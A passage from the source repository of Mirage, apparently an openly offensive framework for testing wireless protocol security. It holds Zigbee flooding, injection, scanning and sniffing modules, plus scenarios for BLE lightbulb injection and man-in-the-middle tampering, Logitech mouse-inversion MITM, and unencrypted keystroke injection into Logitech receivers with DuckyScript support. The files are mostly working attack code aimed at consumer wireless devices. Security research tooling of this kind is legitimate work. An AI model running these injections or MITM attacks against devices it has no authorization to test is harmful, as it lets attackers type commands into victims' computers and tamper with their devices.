self.args["TARGET"] != "": 34 | self.target = utils.integerArg(self.args["TARGET"]) 35 | else: 36 | io.warning("No target specified, Beacon Requests will be transmitted in order to discover the coordinator...") 37 | self.target = None 38 | while self.target is None: 39 | self.emitter.sendp(zigbee.ZigbeeBeaconRequest(sequenceNumber=1,destPanID=self.panid,destAddr=0xFFFF)) 40 | pkt = self.receiver.next(timeout=1) 41 | if isinstance(pkt,zigbee.ZigbeeBeacon) and pkt.coordinator and pkt.srcPanID == self.panid: 42 | self.target = pkt.srcAddr 43 | 44 | 45 | io.info("Coordinator selected: "+zigbee.addressToString(self.target)) 46 | 47 | while True: 48 | address = random.randint(0,0xFFFF) 49 | io.info("New address: "+zigbee.addressToString(address)) 50 | self.emitter.sendp(zigbee.ZigbeeAssociationRequest(destPanID=self.panid, destAddr=self.target,srcAddr=address,sequenceNumber=1,deviceType=True,srcPanID=0xFFFF)) 51 | self.emitter.sendp(zigbee.ZigbeeDataRequest(destPanID=self.panid, destAddr=self.target,srcAddr=address,sequenceNumber=2)) 52 | utils.wait(seconds=2) 53 | return self.ok() 54 | else: 55 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to communicate as a Zigbee device.") 56 | return self.nok() 57 | -------------------------------------------------------------------------------- /mirage/modules/zigbee_info.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io,zigbee,utils 2 | from mirage.core import module 3 | 4 | class zigbee_info(module.WirelessModule): 5 | def init(self): 6 | self.technology = "zigbee" 7 | self.type = "info" 8 | self.description = "Information module for Zigbee interface" 9 | self.args = { 10 | "INTERFACE":"rzusbstick0", 11 | "SHOW_CAPABILITIES":"yes" 12 | } 13 | self.capabilities = ["SNIFFING","INJECTING","JAMMING","COMMUNICATING_AS_COORDINATOR","COMMUNICATING_AS_ROUTER","COMMUNICATING_AS_END_DEVICE"] 14 | 15 | def displayCapabilities(self): 16 | capabilitiesList = [] 17 | for capability in self.capabilities: 18 | capabilitiesList.append([capability,(io.colorize("yes","green") if self.emitter.hasCapabilities(capability) else io.colorize("no","red"))]) 19 | io.chart(["Capability","Available"],capabilitiesList) 20 | 21 | def run(self): 22 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 23 | 24 | if utils.booleanArg(self.args["SHOW_CAPABILITIES"]): 25 | self.displayCapabilities() 26 | 27 | if "rzusbstick" in self.args["INTERFACE"]: 28 | interface = self.args["INTERFACE"] 29 | index = str(self.emitter.getDeviceIndex()) 30 | serial = str(self.emitter.getSerial()) 31 | firmwareVersion = str(self.emitter.getFirmwareVersion()) 32 | mode = str(self.emitter.getMode()) 33 | io.chart(["Interface","Device Index","Serial number","Firmware Version", "Mode"],[[interface,"#"+index,serial, firmwareVersion, mode]]) 34 | 35 | return self.ok({"INTERFACE":interface, 36 | "INDEX":index, 37 | "SERIAL":serial, 38 | "FIRMWARE_VERSION":firmwareVersion, 39 | "MODE":mode 40 | }) 41 | elif "hackrf" in self.args["INTERFACE"]: 42 | interface = self.args["INTERFACE"] 43 | index = str(self.emitter.getDeviceIndex()) 44 | serial = str(self.emitter.getSerial()) 45 | firmwareVersion = str(self.emitter.getFirmwareVersion()) 46 | apiVersionMajor,apiVersionMinor = self.emitter.getAPIVersion() 47 | apiVersion = str(apiVersionMajor)+"."+str(apiVersionMinor) 48 | boardName = self.emitter.getBoardName() 49 | boardID = str(self.emitter.getBoardID()) 50 | io.chart(["Interface","Device Index","Serial number","Board Name", "Board ID","Firmware Version", "API Version"],[[interface,"#"+index,serial,boardName, boardID,firmwareVersion, apiVersion]]) 51 | 52 | return self.ok({"INTERFACE":interface, 53 | "INDEX":index, 54 | "SERIAL":serial, 55 | "FIRMWARE_VERSION":firmwareVersion, 56 | "API_VERSION":apiVersion, 57 | "BOARD_NAME":boardName, 58 | "BOARD_ID":boardID 59 | }) 60 | elif ".pcap" in self.args["INTERFACE"]: 61 | interface = self.args["INTERFACE"] 62 | mode = self.emitter.getMode() 63 | io.chart(["Interface","Mode"],[[interface,mode]]) 64 | return self.ok({"INTERFACE":interface, 65 | "MODE":mode 66 | }) 67 | return self.nok() 68 | -------------------------------------------------------------------------------- /mirage/modules/zigbee_inject.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import zigbee,utils,io 2 | from mirage.core import module 3 | 4 | 5 | class zigbee_inject(module.WirelessModule): 6 | def init(self): 7 | self.technology = "zigbee" 8 | self.type = "action" 9 | self.description = "Injection module for Zigbee communications" 10 | self.args = { 11 | "INTERFACE":"rzusbstick0", 12 | "CHANNEL":"13", 13 | "TARGET_PANID":"", 14 | "TARGET":"", 15 | "TIME":"20", 16 | "PCAP_FILE":"" 17 | 18 | } 19 | 20 | def checkCapabilities(self): 21 | return self.emitter.hasCapabilities("INJECTING") 22 | 23 | def run(self): 24 | 25 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 26 | if self.checkCapabilities(): 27 | if utils.isNumber(self.args["CHANNEL"]): 28 | self.emitter.setChannel(utils.integerArg(self.args["CHANNEL"])) 29 | else: 30 | io.fail("You must provide a channel number !") 31 | return self.nok() 32 | 33 | self.pcapReceiver = self.getReceiver(interface=self.args["PCAP_FILE"]) 34 | io.info("Extracting packet stream from PCAP ...") 35 | stream = self.pcapReceiver.generateStream() 36 | io.success("Packet stream successfully extracted !") 37 | 38 | io.info("Injecting ...") 39 | self.emitter.sendp(*stream) 40 | for i in stream: 41 | i.show() 42 | while not self.emitter.isTransmitting(): 43 | utils.wait(seconds=0.1) 44 | 45 | while self.emitter.isTransmitting(): 46 | utils.wait(seconds=0.1) 47 | io.success("Injection done !") 48 | return self.ok() 49 | else: 50 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to inject frames.") 51 | return self.nok() 52 | -------------------------------------------------------------------------------- /mirage/modules/zigbee_scan.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io,zigbee,utils 2 | from mirage.core import module 3 | import sys 4 | 5 | class zigbee_scan(module.WirelessModule): 6 | def init(self): 7 | self.type = "scan" 8 | self.technology = "zigbee" 9 | self.description = "Scan module for Zigbee Devices" 10 | self.args = { 11 | "INTERFACE":"rzusbstick0", 12 | "TIME":"10", 13 | "START_CHANNEL":"11", 14 | "END_CHANNEL":"26", 15 | "ACTIVE":"yes" 16 | } 17 | self.devices = {} 18 | 19 | def checkCapabilities(self): 20 | return self.emitter.hasCapabilities("SNIFFING", "INJECTING") 21 | 22 | def displayDevices(self): 23 | if utils.integerArg(self.args["START_CHANNEL"]) != utils.integerArg(self.args["END_CHANNEL"]): 24 | sys.stdout.write(" "*100+"\r") 25 | columnsNames = ["Pan ID","Channel","Association permitted","Nodes"] 26 | networks = [] 27 | nodes = "" 28 | for panID,network in self.devices.items(): 29 | for node,role in network["nodes"].items(): 30 | nodes += zigbee.addressToString(node)+"("+role+")"+"\n" 31 | networks.append([hex(panID),str(network["channel"]),"yes" if network["associationPermitted"] else ("unknown" if network["associationPermitted"] is None else "no"),nodes[:-1]]) 32 | io.chart(columnsNames,networks) 33 | 34 | def updateDevices(self,packet): 35 | changes = 0 36 | 37 | if isinstance(packet,zigbee.ZigbeeBeacon): 38 | if packet.srcPanID not in self.devices: 39 | changes += 1 40 | self.devices[packet.srcPanID] = {"channel":self.receiver.getChannel(),"associationPermitted":packet.assocPermit,"nodes":{packet.srcAddr:"coordinator" if packet.coordinator else "router"}} 41 | else: 42 | role = "unknown" 43 | if packet.coordinator: 44 | role = "coordinator" 45 | elif packet.routerCapacity: 46 | role = "router" 47 | else: 48 | role = "end device" 49 | if packet.srcAddr not in self.devices[packet.srcPanID]["nodes"] or role != self.devices[packet.srcPanID]["nodes"][packet.srcAddr]: 50 | changes += 1 51 | self.devices[packet.srcPanID]["nodes"][packet.srcAddr] = role 52 | elif (hasattr(packet,"srcPanID") or hasattr(packet,"destPanID")) and hasattr(packet,"srcAddr"): 53 | panID = packet.srcPanID if hasattr(packet,"srcPanID") else packet.destPanID 54 | if panID not in self.devices: 55 | changes += 1 56 | self.devices[panID] = {"channel":self.receiver.getChannel(),"associationPermitted":None,"nodes":{packet.srcAddr:"unknown"}} 57 | elif packet.srcAddr not in self.devices[panID]["nodes"]: 58 | changes += 1 59 | self.devices[panID]["nodes"][packet.srcAddr] = "unknown" 60 | if changes > 0: 61 | self.displayDevices() 62 | 63 | def generateOutput(self): 64 | output = {} 65 | networkCount = 1 66 | deviceCount = 1 67 | for panID,network in self.devices.items(): 68 | output["NETWORK_PANID"+str(networkCount)] = "0x"+'{:04x}'.format(panID).upper() 69 | output["NETWORK_CHANNEL"+str(networkCount)] = str(network["channel"]) 70 | output["NETWORK_ASSOC_PERMIT"+str(networkCount)] = "yes" if network["associationPermitted"] else "no" 71 | for node,role in network["nodes"].items(): 72 | if role == "coordinator": 73 | output["NETWORK_COORDINATOR"+str(networkCount)] = zigbee.addressToString(node) 74 | output["DEVICE_ADDR"+str(deviceCount)] = zigbee.addressToString(node) 75 | output["DEVICE_ROLE"+str(deviceCount)] = role 76 | output["DEVICE_CHANNEL"+str(deviceCount)] = str(network["channel"]) 77 | output["DEVICE_PANID"+str(deviceCount)] = "0x"+'{:04x}'.format(panID).upper() 78 | 79 | if deviceCount == 1: 80 | output["TARGET"] = zigbee.addressToString(node) 81 | output["TARGET_PANID"] = "0x"+'{:04x}'.format(panID).upper() 82 | output["CHANNEL"] = str(network["channel"]) 83 | 84 | deviceCount += 1 85 | networkCount += 1 86 | 87 | return self.ok(output) 88 | 89 | def run(self): 90 | self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) 91 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 92 | if self.checkCapabilities(): 93 | self.receiver.onEvent("*",callback=self.updateDevices) 94 | 95 | start = utils.now() 96 | startChannel = utils.integerArg(self.args["START_CHANNEL"]) 97 | endChannel = utils.integerArg(self.args["END_CHANNEL"]) 98 | 99 | numberOfChannels = endChannel+1 - startChannel 100 | 101 | channels = list(range(startChannel,endChannel+1)) 102 | i = 0 103 | while self.args["TIME"] == "" or utils.now() - start < utils.integerArg(self.args["TIME"]): 104 | if startChannel != endChannel: 105 | io.progress(i,total=numberOfChannels,suffix="Channel: "+(" " if len(str(channels[i]))==1 else "")+str(channels[i])) 106 | self.receiver.setChannel(channels[i]) 107 | if utils.booleanArg(self.args["ACTIVE"]): 108 | self.emitter.sendp(zigbee.ZigbeeBeaconRequest(sequenceNumber=1,destPanID=0xFFFF,destAddr=0xFFFF)) 109 | utils.wait(seconds=0.1) 110 | i = (i + 1) % len(channels) 111 | 112 | if startChannel != endChannel: 113 | sys.stdout.write(" "*100+"\r") 114 | if len(self.devices) == 0: 115 | return self.nok() 116 | else: 117 | return self.generateOutput() 118 | else: 119 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to sniff and inject frames.") 120 | return self.nok() 121 | -------------------------------------------------------------------------------- /mirage/modules/zigbee_sniff.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import zigbee,utils,io 2 | from mirage.core import module 3 | 4 | 5 | class zigbee_sniff(module.WirelessModule): 6 | def init(self): 7 | self.technology = "zigbee" 8 | self.type = "sniff" 9 | self.description = "Sniffing module for Zigbee communications" 10 | self.args = { 11 | "INTERFACE":"rzusbstick0", 12 | "CHANNEL":"13", 13 | "TARGET_PANID":"", 14 | "TARGET":"", 15 | "TIME":"20", 16 | "PCAP_FILE":"" 17 | 18 | } 19 | 20 | def checkCapabilities(self): 21 | return self.receiver.hasCapabilities("SNIFFING") 22 | 23 | def show(self,packet): 24 | if ( 25 | (self.target is None or (hasattr(packet,"srcAddr") and packet.srcAddr == self.target)) and 26 | (self.targetPanID is None or (hasattr(packet,"destPanID") and packet.destPanID == self.targetPanID)) 27 | ): 28 | io.displayPacket(packet) 29 | if self.pcap is not None: 30 | self.pcap.sendp(packet) 31 | 32 | def run(self): 33 | 34 | self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) 35 | 36 | if self.checkCapabilities(): 37 | if utils.isNumber(self.args["CHANNEL"]): 38 | self.receiver.setChannel(utils.integerArg(self.args["CHANNEL"])) 39 | else: 40 | io.fail("You must provide a channel number !") 41 | return self.nok() 42 | 43 | if self.args["TARGET_PANID"] != "": 44 | self.targetPanID = utils.integerArg(self.args["TARGET_PANID"]) 45 | else: 46 | self.targetPanID = None 47 | 48 | if self.args["TARGET"] != "" and self.args["TARGET"][2:].upper() != "FFFF" and self.args["TARGET"].upper() != "FF:FF:FF:FF:FF:FF:FF:FF": 49 | if utils.isNumber(self.args["TARGET"]): 50 | self.target = utils.integerArg(self.args["TARGET"]) 51 | else: 52 | self.target = zigbee.convertAddress(self.args["TARGET"]) 53 | else: 54 | self.target = None 55 | 56 | if self.args["PCAP_FILE"] != "": 57 | self.pcap = self.getEmitter(interface=self.args["PCAP_FILE"]) 58 | else: 59 | self.pcap = None 60 | self.receiver.onEvent("*",callback=self.show) 61 | 62 | time = utils.integerArg(self.args['TIME']) if self.args["TIME"] != "" else None 63 | start = utils.now() 64 | while utils.now() - start <= time if time is not None else True: 65 | utils.wait(seconds=0.1) 66 | 67 | self.receiver.removeCallbacks() 68 | 69 | output = { 70 | "CHANNEL":self.args["CHANNEL"], 71 | "INTERFACE":self.args["INTERFACE"], 72 | "PCAP_FILE":self.args["PCAP_FILE"] 73 | } 74 | return self.ok(output) 75 | else: 76 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to sniff and inject frames.") 77 | return self.nok() 78 | -------------------------------------------------------------------------------- /mirage/scenarios/__init__.py: -------------------------------------------------------------------------------- 1 | import os, sys, imp 2 | from mirage.core.app import App 3 | from mirage.libs.utils import getHomeDir,generateScenariosDictionary 4 | 5 | if App.Instance is not None: 6 | # Scenarios Directory 7 | SCENARIOS_DIR = os.path.abspath(os.path.dirname(__file__)) 8 | SCENARIOS_USER_DIR = getHomeDir() + "/scenarios" 9 | 10 | __scenarios__ = generateScenariosDictionary(SCENARIOS_DIR, SCENARIOS_USER_DIR) 11 | ''' 12 | # Insertion of the root directory in the PYTHON PATH 13 | #sys.path.insert(0, os.path.abspath(os.path.dirname(__file__)+"/..")) 14 | 15 | # Creation of the list of scenarios 16 | __scenarios__ = {} 17 | for scenario in os.listdir(SCENARIOS_DIR): 18 | if os.path.isfile(SCENARIOS_DIR+"/"+scenario) and scenario[-3:] == ".py" and scenario != "__init__.py": 19 | __scenarios__[scenario[:-3]]=imp.load_source(scenario[:-3],SCENARIOS_DIR + "/"+scenario) 20 | 21 | for scenario in os.listdir(SCENARIOS_USER_DIR): 22 | if os.path.isfile(SCENARIOS_USER_DIR+"/"+scenario) and scenario[-3:] == ".py" and scenario != "__init__.py": 23 | __scenarios__[scenario[:-3]]=imp.load_source(scenario[:-3],SCENARIOS_USER_DIR + "/"+scenario) 24 | ''' 25 | -------------------------------------------------------------------------------- /mirage/scenarios/ble_basic_master.py: -------------------------------------------------------------------------------- 1 | from mirage.core import scenario 2 | from mirage.libs import io,ble,bt,utils,wireless 3 | from mirage.libs.common import parsers 4 | import random 5 | 6 | class ble_basic_master(scenario.Scenario): 7 | def onStart(self): 8 | self.emitter = self.module.emitter 9 | self.receiver = self.module.receiver 10 | self.duration = utils.integerArg(self.module.args["DURATION"]) if "DURATION" in self.module.args else 30 11 | self.module.connect() 12 | return True 13 | 14 | def onSlaveConnect(self): 15 | self.module.discover() 16 | start = utils.now() 17 | while utils.now() - start <= self.duration: 18 | self.module.read("0x0001") 19 | utils.wait(seconds=random.randint(1,10)) 20 | self.module.disconnect() 21 | return False 22 | -------------------------------------------------------------------------------- /mirage/scenarios/ble_basic_master_encrypted.py: -------------------------------------------------------------------------------- 1 | from mirage.core import scenario 2 | from mirage.libs import io,ble,bt,utils,wireless 3 | from mirage.libs.common import parsers 4 | import random 5 | 6 | class ble_basic_master_encrypted(scenario.Scenario): 7 | def onStart(self): 8 | self.emitter = self.module.emitter 9 | self.receiver = self.module.receiver 10 | self.module.connect() 11 | return True 12 | 13 | def onSlaveConnect(self): 14 | if self.emitter.encryptLink(rand=bytes.fromhex(self.args["RAND"]), ediv=utils.integerArg(self.args["EDIV"]), ltk = bytes.fromhex(self.args["LTK"])[::-1]): 15 | io.success("Encryption successfully enabled =)") 16 | self.module.read("0x01") 17 | self.emitter.sendp(ble.BLEDisconnect()) 18 | -------------------------------------------------------------------------------- /mirage/scenarios/ble_basic_slave.py: -------------------------------------------------------------------------------- 1 | from mirage.core import scenario 2 | from mirage.libs import io,ble,bt,utils,wireless 3 | from mirage.libs.common import parsers 4 | from subprocess import check_output 5 | from socket import gethostname 6 | 7 | class ble_basic_slave(scenario.Scenario): 8 | 9 | def enableAdvertising(self): 10 | advertisementServices = ( 11 | ble.UUID(UUID16=0x180F).data[::-1]+ # Battery Service 12 | ble.UUID(UUID16=0x180A).data[::-1] # Device Information Service 13 | ) 14 | 15 | data = bytes([ 16 | # Length 17 | 2, 18 | # Flags data type value. 19 | 0x01, 20 | # BLE general discoverable, without BR/EDR support. 21 | 0x01 | 0x04, 22 | # Length. 23 | 1 + len(advertisementServices), 24 | # Complete list of 16-bit Service UUIDs data type value. 25 | 0x03, 26 | ] 27 | ) + advertisementServices 28 | self.emitter.setAdvertisingParameters(data=data) 29 | self.emitter.setScanningParameters(bytes([1+len(self.device_name), 0x09]) + self.device_name + data) 30 | 31 | 32 | self.emitter.setAdvertising(enable=True) 33 | 34 | def initializeDeviceInformationService(self): 35 | self.server.addPrimaryService(ble.UUID(name="Device Information").data) 36 | self.server.addCharacteristic(ble.UUID(name="Manufacturer Name String").data,self.device_name) 37 | self.server.addCharacteristic(ble.UUID(name="PnP ID").data,bytes.fromhex("014700ffffffff")) 38 | 39 | def initializeBatteryService(self): 40 | self.server.addPrimaryService(ble.UUID(name="Battery Service").data) 41 | self.server.addCharacteristic(ble.UUID(name="Battery Level").data,b"0000000000") 42 | self.server.addDescriptor(ble.UUID(name="Client Characteristic Configuration").data,b"\x01\x00") 43 | self.server.addDescriptor(ble.UUID(name="Characteristic Presentation Format").data,b"\x04\x00\xad\x27\x01\x00\x00") 44 | 45 | def initializeServices(self): 46 | self.initializeDeviceInformationService() 47 | self.initializeBatteryService() 48 | self.module.show("gatt") 49 | 50 | 51 | def onStart(self): 52 | self.device_name = gethostname().encode()+b"_"+check_output("ifconfig").split()[5] 53 | self.emitter = self.module.emitter 54 | self.receiver = self.module.receiver 55 | self.server = self.module.server 56 | self.enableAdvertising() 57 | self.initializeServices() 58 | return True 59 | -------------------------------------------------------------------------------- /mirage/scenarios/lightbulb_injection.py: -------------------------------------------------------------------------------- 1 | from mirage.core import scenario 2 | from mirage.libs import io,ble,utils 3 | 4 | class lightbulb_injection(scenario.Scenario): 5 | 6 | # When the module starts... 7 | def onStart(self): 8 | self.emitter = self.module.getEmitter(self.module["INTERFACE"]) 9 | 10 | # When a key is pressed... 11 | def onKey(self,key): 12 | # if the key is 'up arrow' ... 13 | if key == "up": 14 | # inject a ON packet 15 | self.emitter.send(ble.BLEWriteCommand(handle=0x0021,value=b"\x55\x10\x01\x0d\x0a")) 16 | # if the key is 'down arrow' ... 17 | elif key == "down": 18 | # inject a OFF packet 19 | self.emitter.send(ble.BLEWriteCommand(handle=0x0021,value=b"\x55\x10\x00\x0d\x0a")) 20 | -------------------------------------------------------------------------------- /mirage/scenarios/lightbulb_mitm.py: -------------------------------------------------------------------------------- 1 | from mirage.core import scenario 2 | from mirage.libs import io,ble,utils 3 | 4 | class lightbulb_mitm(scenario.Scenario): 5 | 6 | # When the module starts... 7 | def onStart(self): 8 | self.a2sEmitter = self.module.a2sEmitter 9 | self.a2sReceiver = self.module.a2sReceiver 10 | self.a2mEmitter = self.module.a2mEmitter 11 | self.a2mReceiver = self.module.a2mReceiver 12 | 13 | # When we receive a Write Request ... 14 | def onMasterWriteRequest(self,packet): 15 | 16 | # Changing RGB values 17 | if packet.handle == 0x21 and b"\x55\x13" in packet.value: 18 | print(packet) 19 | value = (packet.value[0:2] + 20 | bytes([packet.value[4],packet.value[2],packet.value[3]]) + 21 | b"\r\n") 22 | io.info("Changing RGB values ...") 23 | self.a2sEmitter.sendp(ble.BLEWriteRequest( 24 | handle=packet.handle, 25 | value=value) 26 | ) 27 | return False 28 | 29 | # Changing on/off packets 30 | elif packet.handle == 0x21 and b"\x55\x10\x01\x0d\x0a" == packet.value: 31 | for _ in range(3): 32 | io.info("Day !") 33 | self.a2sEmitter.sendp(ble.BLEWriteCommand( 34 | handle=packet.handle, 35 | value = b"\x55\x10\x01\x0d\x0a") 36 | ) 37 | utils.wait(seconds=1) 38 | io.info("Night !") 39 | self.a2sEmitter.sendp(ble.BLEWriteCommand( 40 | handle=packet.handle, 41 | value = b"\x55\x10\x00\x0d\x0a") 42 | ) 43 | utils.wait(seconds=1) 44 | return True 45 | -------------------------------------------------------------------------------- /mirage/scenarios/logitech_invert_mouse_mitm.py: -------------------------------------------------------------------------------- 1 | from mirage.core import scenario 2 | from mirage.libs import io,esb,utils,wireless 3 | 4 | class logitech_invert_mouse_mitm(scenario.Scenario): 5 | # When the module starts... 6 | def onStart(self): 7 | self.dongleEmitter = self.module.dongleEmitter 8 | self.dongleReceiver = self.module.dongleReceiver 9 | self.deviceEmitter = self.module.deviceEmitter 10 | self.deviceReceiver = self.module.deviceReceiver 11 | 12 | # When a Logitech mouse packet is received... 13 | def onLogitechMousePacket(self,pkt): 14 | # Invert mouse button 15 | if pkt.buttonMask != 0x00: 16 | if pkt.buttonMask == 0x01: 17 | invertedButton = 0x02 18 | else: 19 | invertedButton = 0x01 20 | else: 21 | invertedButton = 0x00 22 | # Transmit packet 23 | new = esb.ESBLogitechMousePacket(address=self.module.args["TARGET"],x=-pkt.x, y=-pkt.y, buttonMask = invertedButton) 24 | self.dongleEmitter.sendp(new) 25 | 26 | # Prevent default behaviour 27 | return False 28 | -------------------------------------------------------------------------------- /mirage/scenarios/logitech_unencrypted_keystrokes_injection.py: -------------------------------------------------------------------------------- 1 | from mirage.core import scenario 2 | from mirage.libs import io,esb,utils,wireless 3 | from mirage.libs.common import parsers 4 | from threading import Lock 5 | 6 | class logitech_unencrypted_keystrokes_injection(scenario.Scenario): 7 | def addLogitechKeystroke(self,locale="fr",key="a",ctrl=False, alt=False, gui=False,shift=False): 8 | keystrokes = [] 9 | keystrokes.append(esb.ESBLogitechUnencryptedKeyPressPacket(address=self.target,locale=locale,key=key,ctrl=ctrl,alt=alt,gui=gui,shift=shift)) 10 | keystrokes.append(wireless.WaitPacket(time=12/1000.0)) 11 | keystrokes.append(esb.ESBLogitechKeepAlivePacket(address=self.target,timeout=1200)) 12 | keystrokes.append(esb.ESBLogitechUnencryptedKeyReleasePacket(address=self.target)) 13 | 14 | return keystrokes 15 | 16 | def addLogitechDelay(self,duration=1000): 17 | keystrokes = [] 18 | number = int(duration / 10.0) 19 | for _ in range(number): 20 | keystrokes.append(esb.ESBLogitechKeepAlivePacket(address=self.target,timeout=1200)) 21 | keystrokes.append(wireless.WaitPacket(time=10.0/1000.0)) 22 | return keystrokes 23 | 24 | def addLogitechText(self,string="hello world !",locale="fr"): 25 | keystrokes = [] 26 | for letter in string: 27 | keystrokes += self.addLogitechKeystroke(key=letter,locale=locale) 28 | return keystrokes 29 | 30 | def startLogitechInjection(self,timeout=1200): 31 | keystrokes=[esb.ESBLogitechSetTimeoutPacket(address=self.target,timeout=1200)] 32 | return keystrokes 33 | 34 | def keepAlive(self): 35 | while True: 36 | self.lock.acquire() 37 | self.emitter.sendp(*self.addLogitechDelay(duration=1200)) 38 | self.lock.release() 39 | utils.wait(seconds=1) 40 | 41 | def onStart(self): 42 | self.emitter = self.module.emitter 43 | self.receiver = self.module.receiver 44 | self.target = utils.addressArg(self.module.target) 45 | self.lock = Lock() 46 | 47 | io.info("Following mode disabled by the scenario.") 48 | self.module.stopFollowing() 49 | 50 | 51 | io.info("Generating attack stream ...") 52 | attackStream = self.startLogitechInjection() 53 | self.mode = None 54 | if "TEXT" in self.module.args and self.module.args["TEXT"] != "": 55 | self.mode = "text" 56 | text = self.module.args["TEXT"] 57 | io.info("Text injection: "+text) 58 | attackStream += self.addLogitechDelay(duration=100) 59 | attackStream += self.addLogitechText(text) 60 | elif "INTERACTIVE" in self.module.args and utils.booleanArg(self.module.args["INTERACTIVE"]): 61 | self.mode = "interactive" 62 | io.info("Interactive mode") 63 | self.keepAliveThread = wireless.StoppableThread(self.keepAlive) 64 | self.keepAliveThread.start() 65 | elif "DUCKYSCRIPT" in self.module.args and self.module.args["DUCKYSCRIPT"] != "": 66 | self.mode = "duckyscript" 67 | io.info("Duckyscript injection: "+self.module.args["DUCKYSCRIPT"]) 68 | parser = parsers.DuckyScriptParser(filename=self.args["DUCKYSCRIPT"]) 69 | attackStream = parser.generatePackets( 70 | textFunction=self.addLogitechText, 71 | initFunction=self.startLogitechInjection, 72 | keyFunction=self.addLogitechKeystroke, 73 | sleepFunction=self.addLogitechDelay 74 | ) 75 | else: 76 | io.fail("You must provide one of the following parameters:\n\tINTERACTIVE : live keystroke injection\n\tTEXT : simple text injection\n\tDUCKYSCRIPT : duckyscript injection") 77 | self.module.stopScenario() 78 | return True 79 | 80 | io.info("Looking for target "+str(self.target)+"...") 81 | while not self.emitter.scan(): 82 | utils.wait(seconds=0.1) 83 | 84 | io.success("Target found !") 85 | 86 | io.info("Injecting ...") 87 | self.emitter.sendp(*attackStream) 88 | if self.mode != "interactive": 89 | while not self.emitter.isTransmitting(): 90 | utils.wait(seconds=0.5) 91 | while self.emitter.isTransmitting(): 92 | utils.wait(seconds=0.5) 93 | self.module.stopScenario() 94 | return True 95 | 96 | def onEnd(self): 97 | io.info("Terminating scenario ...") 98 | if self.mode == "interactive": 99 | self.keepAliveThread.stop() 100 | self.keepAliveThread = None 101 | return True 102 | 103 | def onKey(self,key): 104 | if key == "esc": 105 | self.module.stopScenario() 106 | return True 107 | if self.mode == "interactive": 108 | injectedKeystroke = "" 109 | if key == "space": 110 | injectedKeystroke = " " 111 | elif key == "delete": 112 | injectedKeystroke = "DEL" 113 | elif key in ["enter","shift","alt","ctrl","backspace","up","down","left","right","f1","f2","f3","f4","f5","f6","f7","f8","f9","f10","f11","f12"]: 114 | injectedKeystroke = key.upper() 115 | else: 116 | injectedKeystroke = key 117 | io.info("Injecting:"+str(injectedKeystroke)) 118 | self.lock.acquire() 119 | self.emitter.clear() 120 | self.emitter.sendp(*(self.addLogitechKeystroke(key=injectedKeystroke,locale="fr")+self.addLogitechDelay())) 121 | self.lock.release() 122 | return True 123 | -------------------------------------------------------------------------------- /mirage_launcher: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from mirage.mirage import main 4 | main() 5 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from setuptools import setup, find_packages 4 | 5 | import mirage 6 | 7 | setup( 8 | 9 | name='mirage', 10 | 11 | version=mirage.__version__, 12 | 13 | packages=find_packages(), 14 | 15 | author="Romain Cayre", 16 | 17 | author_email="rcayre@laas.fr", 18 | 19 | description="Mirage is an offensive framework dedicated to the security analysis of wireless communication protocols", 20 | 21 | install_requires=["keyboard","terminaltables","pyusb","pyserial","pycryptodomex","psutil","scapy","matplotlib"], 22 | 23 | include_package_data=True, 24 | 25 | url='https://github.com/RCayre/mirage', 26 | 27 | 28 | classifiers=[ 29 | "Programming Language :: Python", 30 | "License :: OSI Approved :: MIT License", 31 | "Natural Language :: French", 32 | "Operating System :: Linux", 33 | "Programming Language :: Python :: 3.6", 34 | "Topic :: Security", 35 | ], 36 | 37 | entry_points = { 38 | 'console_scripts': [ 39 | 'mirage = mirage.mirage:main', 40 | ], 41 | }, 42 | ) 43 | --------------------------------------------------------------------------------